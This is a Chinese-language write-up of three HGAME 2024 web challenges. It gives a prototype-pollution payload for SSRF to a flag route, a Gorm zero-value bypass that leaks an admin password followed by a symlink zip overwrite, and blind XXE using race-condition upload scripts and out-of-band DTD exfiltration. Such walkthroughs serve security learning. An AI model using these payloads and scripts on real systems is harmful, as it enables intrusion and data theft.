HGAME week3-web wp
三道web,搓出来两道,还是可以了哈哈哈哈哈~~~
直接长话短说。
WebVPN
js原型链污染。
首先审计源码,index看到个登录路由:

重点就是app.js:
const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");
const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();
app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
session({
name: session_name,
secret: uuidv4().toString(),
secure: false,
resave: false,
saveUninitialized: true,
})
);
app.use(bodyParser.json());
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
app.use("/proxy", async (req, res) => {
const { username } = req.session;
if (!username) {
res.sendStatus(403);
}
let url = (() => {
try {
return new URL(req.query.url);
} catch {
res.status(400);
res.end("invalid url.");
return undefined;
}
})();
if (!url) return;
if (!userStorage[username].strategy[url.hostname]) {
res.status(400);
res.end("your url is not allowed.");
}
try {
const headers = req.headers;
headers.host = url.host;
headers.cookie = headers.cookie.split(";").forEach((cookie) => {
var filtered_cookie = "";
const [key, value] = cookie.split("=", 1);
if (key.trim() !== session_name) {
filtered_cookie += `${key}=${value};`;
}
return filtered_cookie;
});
const remote_res = await (() => {
if (req.method == "POST") {
return axios.post(url, req.body, {
headers: headers,
});
} else if (req.method == "GET") {
return axios.get(url, {
headers: headers,
});
} else {
res.status(405);
res.end("method not allowed.");
return;
}
})();
res.status(remote_res.status);
res.header(remote_res.headers);
res.write(remote_res.data);
} catch (e) {
res.status(500);
res.end("unreachable url.");
}
});
app.post("/user/login", (req, res) => {
const { username, password } = req.body;
if (
typeof username != "string" ||
typeof password != "string" ||
!username ||
!password
) {
res.status(400);
res.end("invalid username or password");
return;
}
if (!userStorage[username]) {
res.status(403);
res.end("invalid username or password");
return;
}
if (userStorage[username].password !== password) {
res.status(403);
res.end("invalid username or password");
return;
}
req.session.username = username;
res.send("login success");
});
// under development
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});
app.get("/home", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
return;
}
res.render("home", {
username: req.session.username,
strategy: ((list)=>{
var result = [];
for (var key in list) {
result.push({host: key, allow: list[key]});
}
return result;
})(userStorage[req.session.username].strategy),
});
});
// demo service behind webvpn
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});
app.listen(port, '0.0.0.0', () => {
console.log(`app listen on ${port}`);
});
网站登录了一下,就是个访问域名的东西。
而且proxy路由访问有域名检测:
app.use("/proxy", async (req, res) => {
const { username } = req.session;
if (!username) {
res.sendStatus(403);
}
let url = (() => {
try {
return new URL(req.query.url);
} catch {
res.status(400);
res.end("invalid url.");
return undefined;
}
})();
if (!url) return;
if (!userStorage[username].strategy[url.hostname]) {
res.status(400);
res.end("your url is not allowed.");
}
try {
const headers = req.headers;
headers.host = url.host;
headers.cookie = headers.cookie.split(";").forEach((cookie) => {
var filtered_cookie = "";
const [key, value] = cookie.split("=", 1);
if (key.trim() !== session_name) {
filtered_cookie += `${key}=${value};`;
}
return filtered_cookie;
});
const remote_res = await (() => {
if (req.method == "POST") {
return axios.post(url, req.body, {
headers: headers,
});
} else if (req.method == "GET") {
return axios.get(url, {
headers: headers,
});
} else {
res.status(405);
res.end("method not allowed.");
return;
}
})();
res.status(remote_res.status);
res.header(remote_res.headers);
res.write(remote_res.data);
} catch (e) {
res.status(500);
res.end("unreachable url.");
}
});
意思就是必须按照它上面的strategy来访问,不然就会访问失败。
逆向审计一下,从/flag看起,类似SSRF那种要127.0.0.1本地访问。
然后网上看,cookie没什么特别的,直到看到update函数:

太眼熟了,这不原型链污染老熟人merge换皮嘛,而且还过滤了双下划线__,这不就是过滤了__proto__的意思吗。
然后看到user/info这个路由:

这里调用了update方法,虽然是对info进行改变,但是我们可以通过constructor->prototype的方法调用它的Object,污染strategy属性。
思路一步到位,直接原型链污染打user/info路由,把127.0.0.1污染到strategy,然后proxy直接传参url=http://127.0.0.1/flag绕过strategy检测。
发包(注意改content-type):
发现多了127.0.0.1了:

加一个3000端口直接访问flag就出了:
/proxy?url=http://127.0.0.1:3000/flag

访问即得:

也可以直接伪造一个用户,重新登录,这样就可以直接127.0.0.1访问了,不用加端口号:
{ "constructor": { "prototype": { "Eddie": { "password": "114514", "strategy": { "127.0.0.1": true } } } } }
Zero Link
go绕过+软链接。
go分析来自官方wp。
老规矩,先审计源码:
各个api:
package routes import ( "fmt" "html/template" "net/http" "os" "os/signal" "path/filepath" "zero-link/internal/config" "zero-link/internal/controller/auth" "zero-link/internal/controller/file" "zero-link/internal/controller/ping" "zero-link/internal/controller/user" "zero-link/internal/middleware" "zero-link/internal/views" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" ) func Run() { r := gin.Default() html := template.Must(template.New("").ParseFS(views.FS, "*")) r.SetHTMLTemplate(html) secret := config.Secret.SessionSecret store := cookie.NewStore([]byte(secret)) r.Use(sessions.Sessions("session", store)) api := r.Group("/api") { api.GET("/ping", ping.Ping) api.POST("/user", user.GetUserInfo) api.POST("/login", auth.AdminLogin) apiAuth := api.Group("") apiAuth.Use(middleware.Auth()) { apiAuth.POST("/upload", file.UploadFile) apiAuth.GET("/unzip", file.UnzipPackage) apiAuth.GET("/secret", file.ReadSecretFile) } } frontend := r.Group("/") { frontend.GET("/", func(c *gin.Context) { c.HTML(http.StatusOK, "index.html", nil) }) frontend.GET("/login", func(c *gin.Context) { c.HTML(http.StatusOK, "login.html", nil) }) frontendAuth := frontend.Group("") frontendAuth.Use(middleware.Auth()) { frontendAuth.GET("/manager", func(c *gin.Context) { c.HTML(http.StatusOK, "manager.html", nil) }) } } quit := make(chan os.Signal) signal.Notify(quit, os.Interrupt) go func() { <-quit err := os.Remove(filepath.Join(".", "sqlite.db")) if err != nil { fmt.Println("Failed to delete sqlite.db:", err) } else { fmt.Println("sqlite.db deleted") } os.Exit(0) }() r.Run(":8000") }
⾸先我们需要登录,登录就需要Admin⽤⼾的密码。在sqlite.go中,可以发现user表已经初始化,且 第⼀个⽤⼾就是Admin:

先找⾸⻚⽤于查询⽤⼾信息的/user 接⼝,从 internal/routes/routes.go => internal/controller/user/user.go => internal/database/sqlite.go ,最后找到 GetUserByUsernameOrToken 函数,我们 可以发现该函数接收username和token参数,先后进⾏查询,并返回查询结果。

以username的查找为例,如果我们传⼊的值为 agu ,那执⾏的SQL语句实际上就是:
SELECT * FROM 'user' WHERE `username` = 'agu' LIMIT 1
由于Go本⾝的“零值”设计,它⽆法区分结构体中某个字段是否被赋值过。
User结构体的username字段是string类型,初始化User对象时,username会获得⼀个默认的零值,这⾥就是空字符串,如果⽤⼾传⼊的username也是空字符串,赋值给User的username属性时,这个User对象的值其实并没有发⽣任何变化。
在GetUserByUsernameOrToken 中,这⾥是给Gorm的Where函数传递了⼀个User对象,如果这个对象的username属性值为空字符串,Gorm内部将⽆法分辨User的username属性是否被赋值过,这导致Gorm在⽣成SQL语句时不会为该属性⽣成条件语句,此时的SQL语句如下:
SELECT * FROM 'user' LIMIT 1
这个SQL语句会直接查询表中第⼀个⽤⼾,⽽很多⽤⼾数据库的第⼀个⽤⼾就是管理员,这题也是如此。
因此,我们调⽤/api/user 接⼝,设置请求主体中的username、password字段均为空,即可获得Admin⽤⼾的密码。
demo:
POST http://139.224.232.162:30209/api/user
Content-Type: application/json
{
"username": "",
"Token": ""
}

跑出密码是
Zb77jbeoZkDdfQ12fzb0
直接进manager登录:

然后就是文件上传位置:

当然这里有点小坑,抓包也抓不上,按道理说传压缩包没问题,但是前端逻辑直接给我判定不是zip:

我换了个文件上传的靶场,直接抓包发现content-type对不上。
这是实际传的:

这是这道题要的:

后来搜到个东西:

气抖冷,windows怎么你了....
但是kali虚拟机能传,content-type是application/zip,软链接就不多说了,看到secret是个文件:

而且后端unzip的用了-o,也就是覆盖,直接把secret文件内容覆盖成/flag,然后访问/api/secret就行了:

直接虚拟机上软链接:

依次传link.zip,unzip解压缩,再传link2.zip,unzip再解压缩覆盖app/secret,访问/api/secret交了:

VidarBox
(java什么的最烦了.....)
package org.vidar.controller; import org.springframework.core.io.DefaultResourceLoader; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.xml.sax.InputSource; import org.xml.sax.SAXException; import org.xml.sax.XMLReader; import org.xml.sax.helpers.XMLReaderFactory; import java.io.*; @Controller public class BackdoorController { private String workdir = "file:///non_exists/"; private String suffix = ".xml"; @RequestMapping("/") public String index() { return "index.html"; } @GetMapping({"/backdoor"}) @ResponseBody public String hack(@RequestParam String fname) throws IOException, SAXException { DefaultResourceLoader resourceLoader = new DefaultResourceLoader(); byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray(); if (content != null && this.safeCheck(content)) { XMLReader reader = XMLReaderFactory.createXMLReader(); reader.parse(new InputSource(new ByteArrayInputStream(content))); return "success"; } else { return "error"; } } private boolean safeCheck(byte[] stream) throws IOException { String content = new String(stream); return !content.contains("DOCTYPE") && !content.contains("ENTITY") && !content.contains("doctype") && !content.contains("entity"); } }

应该是要打一个无回显XXE,check函数可用编码绕过。
详细可以参考一下gxn师傅(大佬tql...):HGAME2024-WEB WP - gxngxngxn - 博客园 (cnblogs.com)
file伪协议有类似ftp的功能:

官方给的也是vps开一个ftp,还搜到一个师傅的方法,没用ftp,用的是条件竞争外带(也好强www):
(ฅ>ω<*ฅ) 噫又好啦 ~hgame2024_week3 WP | 晨曦的个人小站 (chenxi9981.github.io)
但如果不用ftp的上传,就需要人工编写脚本上传。
如何把test.xml放到服务器上呢?
这里就类似与php的临时文件包含了,强制上传文件会使得服务器短暂生成临时文件,只要我们够快,把临时文件包含进来,即可加载自定的xml文件。
这里我就不用vps了,因为我vps还没搭web服务,直接本地搞个phpstudy然后内网穿透算了:

xml文件写好后iconv一下:


把test.dtd放服务器里:


upload.py(上传临时文件):
import requests import io import threading url='http://139.224.232.162:30125/' #引入url def write(): while True: response=requests.post(url,files={'file':('poc',open("F:\\Study\\CTF\\HGAME\\WEB\\week3\\new.xml",'rb'))}) #print(response.text) if __name__=='__main__': evnet=threading.Event() with requests.session() as session: for i in range(10): threading.Thread(target=write).start() evnet.set()
xxe.py(包含临时文件):
import requests import io import time import threading while True: for i in range(10, 35): try: #print(i) url = f'http://139.196.183.57:32517/backdoor?fname=..%5cproc/self/fd/{i}%23' # 引入url # print(r.cookies) response = requests.get(url,timeout=0.5) print(i,response.text) if response.text == 'success' or response.text == 'error': print(i,response.text) time.sleep(10) except: pass #print("no")
同时跑这俩脚本,然后DNS外带出了:

(虽然一直报错,但是条件竞争只需要传上去一次就成功了)


泰酷辣!!!!!!
ftp来跑的也可以看官方wp:
from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer authorizer = DummyAuthorizer() authorizer.add_anonymous("/var/www/html", perm="r") handler = FTPHandler handler.authorizer = authorizer server = FTPServer(("0.0.0.0", 21), handler) server.serve_forever()
后面都大差不差的。
下播!!

浙公网安备 33010602011771号